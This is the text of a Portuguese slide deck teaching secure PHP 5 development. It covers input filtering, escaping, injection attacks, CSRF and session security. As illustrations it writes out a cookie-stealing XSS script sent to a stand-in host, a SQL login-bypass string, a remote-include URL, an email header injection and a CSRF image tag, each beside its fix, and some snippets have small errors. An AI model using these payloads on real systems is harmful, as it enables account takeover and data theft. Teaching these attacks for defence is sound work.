1. Segurança Web com PHP 5
Douglas V. Pasqua
Zend Certified Engineer
douglas.pasqua@gmail.com
http://dpasqua.wordpress.com
2. Objetivo
●Disseminar boas práticas para o desenvolvimento de
código seguro em php.
● Exemplificar como são feitos os ataques e suas
respectivas formas de prevenção.
●Concientizar sobre a responsabilidade da segurança no
desenvolvimento de uma aplicação.
●Abordar os tópicos de segurança que são temas do exame
de certificação da Zend.
●Exemplo de ataques realizados em grandes sites.
http://dpasqua.wordpress.com
3. Tópicos
●Introdução a Segurança.
●Conceitos e boas práticas.
○ Filtrando Input.
○ Escapando Output.
●Injection Attacks
○ XSS,SQL,Command, Remote Code, Email.
●XSRF / CSRF
●Segurança na Sessão.
○ Session Fixation.
○ Session Hijacking.
●Configurações de segurança no php.ini.
●Shared Hosting.
http://dpasqua.wordpress.com
4. Introdução a Segurança
●Responsabilidade pela Segurança.
●Princípios de um desenvolvimento seguro para aplicações
Web.
●Você pode confiar nos dados que estão sendo
processados ?
●Quais os dados confiáveis ?
●Como o maioria dos ataques podem ser evitados ?
●Tenha em mente a importância de se desenvolver uma
aplicação segura.
http://dpasqua.wordpress.com
6. Filtrando Input
●Regras de Validação:
Usuário deve ser caracteres alfabéticos.
Senha deve ser alfanumérico.
Empresa deve conter somente 'nacional', 'internacional' ou
'filial'.
●Validar no lado do cliente (Javascript) ou no lado do
Servidor ?
http://dpasqua.wordpress.com
7. Filtrando Input
Validando no lado do servidor:
●
<?php
$clean = array();
if (ctype_alpha($_POST['usuario'])) {
$clean['usuario'] = $_POST['usuario'];
}
if (ctype_alnum($_POST['senha'])) {
$clean['senha'] = $_POST['senha'];
}
$empresas = arrray('nacional', 'internacional', 'filial');
if (in_array($_POST['empresa'], $empresas)) {
$clean['empresa'] = $_POST['empresa'];
}
http://dpasqua.wordpress.com
9. Escapando Output
●Qual a importância de escapar output?
●Escapar output deve fazer parte do filtro de input?
●Escapando output de acordo com o destino: Web Browser
e Database
●Escapar output – Web Browser:
●htmlentities / htmlspecialchars:
$message = "A 'quote' is <b>bold</b>";
Outputs: A 'quote' is <b>bold</b>
$html['message'] =
htmlentities($message, ENT_QUOTES, 'UTF-8');
http://dpasqua.wordpress.com
10. Escapando Output
●Escapar output para Database:
●*_escape_string:
$sql = "SELECT * FROM usuarios
WHERE usuario = " . mysql_real_escape_string($usuario);
Prepared statements:
$sql = 'SELECT * FROM usuarios
WHERE usuario = :usuario AND senha = :senha';
$sth = $pdo->prepare($sql);
$sth->execute(array(
':username' => $clean['username'],
':senha' => $clean['senha']));
$results = $sth->fetchAll();
http://dpasqua.wordpress.com
11. Escapando Output
$sql = "SELECT * FROM usuarios
WHERE usuario = ? AND senha = ?";
$sth = $pdo->prepare($sql);
$sth->execute(array($clean['username'], $clean['senha']));
$results = $sth->fetchAll();
http://dpasqua.wordpress.com
12. Cross-Site Scripting
●É um dos mais conhecidos e um mais comuns dos tipos de
ataque.
●Explora a confiança que o usuário tem na aplicação.
●O foco esta no roubo de informações pessoais do usuários,
como por exemplo, os cookies.
●Exemplo:
<form method=”POST” action=”adiciona_comentario.php”>
<p><textarea name=”comment”></textarea></p>
<p><input type=”submit”/></p>
</form>
http://dpasqua.wordpress.com
13. Cross-Site Scripting
<script>
document.location =
'http://exemplo.org/getcookies.php?cookies=' +
document.cookie;
</script>
● Para previnir-se do ataque, faça escape do output
utilizando htmlentities.
$html['message'] =
htmlentities($message, ENT_QUOTES, 'UTF-8');
http://dpasqua.wordpress.com
14. Cross-Site Scripting - Casos
●Worm “Bom Sábado”.
●Afetou o orkut, descoberto 25/09/2010.
●Redireciona para comunidade “infectados vírus orkut”
●Inscreve o usuário em comunidades maliciosas
●Rouba informações presentes nos cookies
●Envia scrap contaminado para lista de amigos
http://ibnlive.in.com/news/orkut-attacked-by-bom-sabado-worm/131714-11.html
http://dpasqua.wordpress.com
15. Cross-Site Scripting - Casos
●Twitter – 21/09/2010
●Ao passar o mouse por cima do link bagunçava a interface
●Espalhava o problema para outros usuários
●Impediu que usuários publicassem mensagens no twitter
http://hercules-now.com/2010/09/21/falha-de-seguranca-no-twitter-xss/
http://dpasqua.wordpress.com
16. Cross-Site Scripting - Casos
●Site contendo arquivo de sites que já foram vuneráveis à
ataques XSS.
http://www.xssed.com
http://dpasqua.wordpress.com
17. SQL Injection
●É um ataque no qual o usuário malicioso injetam comandos
sql em campos de formulários.
●Primeiro o atacante obtém informações suficientes para
realizar o ataque, normalmente através de mensagens de erro
do banco de dados.
●Um exemplo popular é o formulário de Login:
<form method=”POST” action=”login.php”>
Username: <input type=”text” name=”username” /> <br />
Senha: <input type=”password” name=”senha” /><br />
<input type=”submit” value=”Login”>
</form>
http://dpasqua.wordpress.com
18. SQL Injection
O Código Vulenerável:
●
$sql = "SELECT count(*)
FROM usuarios
WHERE usuario = '{$_POST['usuario']}'
AND senha= '{$_POST['senha']}'";
Nesse caso não é feito o filtro de input. Nada é escapado.
http://dpasqua.wordpress.com
19. SQL Injection
●Pode-se logar no sistema, passando no campo de usuário
o seguinte conteúdo: (Independente do que é passado no
campo de senha.)
admin' OR 1=1 --
SELECT * FROM usuarios
WHERE usuario = 'admin' OR 1 = 1 -- ' AND
senha = 'senhaqualquer'
●Para previnir sql injection, utilizar *_escape_string() ou de
preferência prepared statements.
●Podem ocorrer problemas mais graves, como exclusão de
tabelas e dados importantes.
http://dpasqua.wordpress.com
20. SQL Injection - Casos
●Cisco WCS – 11/08/2010 (Wireless Control System)
●SQL Injection na interface web WCS
●Permite total acesso no device:
●Criação, exclusão e edição de usuários
●Mudança nas configurações wireless
http://www.cisco.com/en/US/products/products_security_advisory09186a0080b4091e.shtml
http://dpasqua.wordpress.com
21. SQL Injection - Casos
●Em 2008 houve um ataque em massa de SQL Injection
●Exploração nos servidores usando IIS e SQLServer
●Milhares de sites afetados (500.000)
http://www.techspot.com/news/29845-fsecure-claims-500000-sites-affected-
by-sql-injection.html
http://dpasqua.wordpress.com
22. Command Injection
●Tome cuidado ao utilizar o input de usuário para montar
comandos dinâmicos ao utilizar as funções 'exec', 'system',
'passthru'.
●Evite sempre que possível utilizar funções que executem
comandos no shell. (Boas práticas)
●Se não tiver outra opção, evite utilizar o input de usuário
para criar os comandos shell.
●Se for ter que utilizar o input de usuário para montar os
comando shell, você pode fazer uso das funções
escapeshellcmd() e escapeshellarg()
http://php.net/manual/pt_BR/function.escapeshellcmd.php
http://www.php.net/manual/pt_BR/function.escapeshellarg.php
http://dpasqua.wordpress.com
23. Remote Code Injection
●Tome cuidado ao usar o input do usuário para fazer um
include dinâmico na sua aplicação.
●Muitas aplicações se baseiam no input do usuário para
criar includes em sua aplicação.
●Exemplo:
include "{$_GET['secao']}/config.php";
● Um usuário mal intencionado pode manipular a query
string e criar uma URL que irá "injetar" um arquivo em um site
remoto.
http://www.exemplo.org/?secao=http://www.sitedoatacante.org/blah.inc/
http://dpasqua.wordpress.com
24. Remote Code Injection
Para se prevenir desse ataque, utilize o filtro de input
●
adequado.
○ Verificando se o arquivo a ser incluído existe em disco.
○ Criar um array com os nomes dos arquivos permitidos.
○ Remover caracteres inválidos do input.
● Outra forma de se prevenir é desabilitando a diretiva
allow_url_fopen do php.ini.
http://dpasqua.wordpress.com
25. Email Injection
●Função mail() do PHP
●Cuidado ao usar dados de input do usuário para configurar
os headers do e-mail.
●Injeção de e-mail pode ser explorado em formulários de
contato mal elaborados.
●A falha permite que usuários maliciosos enviem spam sem
seu consentimento.
http://dpasqua.wordpress.com
27. Email Injection
Código vulnerável:
●
$email_origem = $_POST['email'];
mail("nome-destino@exemplo.com.br", "Contato via form",
$message, "From: $email_origem" );
Input do usuário:
●
email1@exemplo.com.br (quebra de linha)
CC: email2@exemplo.com.br, email3@exemplo.com.br, etc..
http://dpasqua.wordpress.com
28. Email Injection
Prevenção:
●
○ Tratando:
$email_origem = preg_replace("/[rn]/",'',$email_origem);
Validando:
●
if (preg_match( "/[rn]/", $email_origem) ) {
// [... redireciona o usuário para uma página de erro e sai
da aplicação ...]
}
http://dpasqua.wordpress.com
29. Email Injection
●O email de destino também pode ser forjado pelo input do
usuário.
●A função mail() aceita vários endereços de email no
destinatário. (separados por vírgula):
email1@exemplo.com.br, email2@exemplo.com.br, etc..
http://dpasqua.wordpress.com
30. XSRF ou CSRF
●O ataque consiste em forjar requisições de outros usuários.
●Explora a confiança que a aplicação tem no usuário.
●É difícil de identificar pois para a aplicação parece ser uma
requisição legítima.
●Exemplo: Atacante analisando o formulário:
<form action="/transfer.php" method="post">
<p>To <input type="text" name="to" /></p>
<p>Valor $<input type="text" name="valor" /></p>
<p><input type="submit" value="Transferir" /></p>
</form>
http://dpasqua.wordpress.com
32. XSRF
●Forjando GET.
●Usuário acessando site malicioso e logado no site do
banco em outra aba.
<img
src="http://banke.org/transfer.php?to=74435388&valor=1 />
É possível forjar POST também.
●
http://dpasqua.wordpress.com
33. XSRF
Prevenção:
●
○ Guarde um token randômico na sessão e sete no
formulário que deseja proteger.
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
Valide se o token esta correto na próxima requisição:
●
●
if ($_SESSION['token'] == $_POST['token']) {
/* valido */
}
http://dpasqua.wordpress.com
34. XSRF - Casos
●Gmail afetado em 2007.
●Afeta usuários logados no gmail e acessando o site
malicioso em outra aba.
●O site malicioso conseguia obter todos os detalhes dos
contatos do usuário do gmail.
http://www.oreillynet.com/xml/blog/2007/01/gmail_exploit_contact_list_hij.html
http://dpasqua.wordpress.com
35. Session Fixation
●Basicamente, como funciona o processo de criação de sessão
no PHP ?
○ session_start()
○ Set_Cookie Header
○ Nome do Cookie: PHPSESSID
Fixando Sessão:
●
<a href=”http://www.phpexample.com.br/index.php?
PHPSESSID=123456”> Entrar</a>
http://dpasqua.wordpress.com
36. Session Fixation
Explorado em versões antigas do php onde muita gente
●
desabilitava os cookies no navegador.
Para que seja possível explorar essa vunlerabilidade,
●
definir os parâmetros abaixo no php.ini:
●session.use_only_cookies = Off (Padrão On)
●session.use_trans_sid = On (Padrão Off)
http://dpasqua.wordpress.com
37. Session Fixation
Protegendo-se contra o ataque de session fixation:
●
○ session_regenerate_id()
<?php
session_start();
if(usuario_autenticado($clean['usuario'],
$clean['senha'])) {
session_regenerate_id();
$_SESSION['logado'] = true;
}
http://dpasqua.wordpress.com
38. Session Fixation - Casos
●Joomla versão 1.5 até 1.5.15
●Após autenticação o id da sessão não era re-criado
http://blog.taddong.com/2010/05/session-fixation-vulnerability-in.html
http://dpasqua.wordpress.com
39. Session Hijacking
Como é feito o ataque de session hijacking ?
●
Como se prevenir ?
●
○ Validar HTTP_USER_AGENT
○ Setar no php.ini: session.cookie_httponly = true
http://dpasqua.wordpress.com
40. Session Hijacking
<?php
session_start();
if (array_key_exists('HTTP_USER_AGENT', $_SESSION)) {
if ($_SESSION['HTTP_USER_AGENT'] !=
md5($_SERVER['HTTP_USER_AGENT'])) {
/* Acesso inválido. O header User-Agent mudou durante a mesma
sessão. */
exit;
}
}
else {
/* Primeiro acesso do usuário, vamos gravar na sessão um hash md5 do
header User- Agent */
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}
?>
http://dpasqua.wordpress.com
41. Configurações no php.ini
register_globals
●
○ Variaveis são “injetadas” no seu código. É impossível
determinar a origem dos dados.
○ Exemplo:
if (checkLogin()) {
$loggedin = TRUE;
}
...
if ($loggedin) {
}
http://dpasqua.wordpress.com
42. Configurações no php.ini
●register_globals
○ Sempre utilizar $_GET, $_POST, $_COOKIE, $_SESSION
○ Em versões >= 4.2.0 – O padrão é Off.
○ Removido do php à partir da versão 5.4.0
●session.cookie_httponly
○ ativa o parâmetro httponly no cookie usado para
identificar a sessão do usuário
●expose_php
○ "Expoê" a versão do php instalado no servidor web.
http://dpasqua.wordpress.com